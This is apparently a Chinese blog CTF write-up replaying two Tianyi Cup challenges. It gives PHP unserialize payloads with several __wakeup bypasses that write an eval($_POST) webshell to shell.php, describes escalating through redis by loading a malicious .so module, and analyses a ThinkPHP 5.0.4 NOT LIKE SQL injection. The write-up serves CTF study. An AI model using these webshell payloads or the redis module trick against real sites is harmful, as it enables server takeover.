天翼杯复现
easy_eval
进入首先是一个反序列化加绕过,这里可以用大小写绕过和基类绕过,wakeup改属性就行
将正常payload
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:64:"file_put_contents('./shell.php','<?php eval($_POST["cmd"]);?>');";}}
改为
O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:64:"file_put_contents('./shell.php','<?php eval($_POST["cmd"]);?>');";}}
网上一些师傅还提供了基类的绕过
O:8:"stdClass":2:{s:4:"test";O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}}
还可以省略末尾的大括号,call提到wakeup前绕过
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}
用蚁剑脸上之后终端是没有命令权限的,但是可以看到swp文件,vim看一下发现和redis数据库有关,并且给了密码。

开启了redis就很显然了,用给的密码认证连接redis,上传.so文件,moudle加载执行命令即可。
Eztp
thinkPHP源码审计,考的是5.0.4版本select方法漏洞
这里简单复现了一下漏洞,入口index代码如下。ThinkPHP5.0版本默认的变量修饰符是/s,这里/a意思是如果你要获取的数据为数组,需要用/a才能转换

先进行数据库初始化,然后进入where函数

出where方法后$options里多了两个数组。
之后进入关键的select函数,关键在生成sql语句的过程。在 select 方法中,程序会对 SQL 语句模板用变量填充,其中用来填充 %WHERE% 的变量中存在用户输入的数据。我们跟进这个 where 分析函数,会发现其会调用生成查询条件 SQL 语句的 buildWhere 函数。

漏洞产生地方在于检测操作符的过程,这里可以看到检测。当$this->exp[$exp]中含有not like时会将用户控制的变量直接进行赋值。


后面就构造成了我们想要的payload,拿一张网上的图

正是由于 ThinkPHP 官方的 filterValue 方法漏过滤了 NOT LIKE ,同时 MYSQL 逻辑操作由用户变量控制,使得这一漏洞可以被利用。
攻击结果

但是nss靶场的题目环境似乎有点问题,注入进不到后台。直接看后面的反序列化吧
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!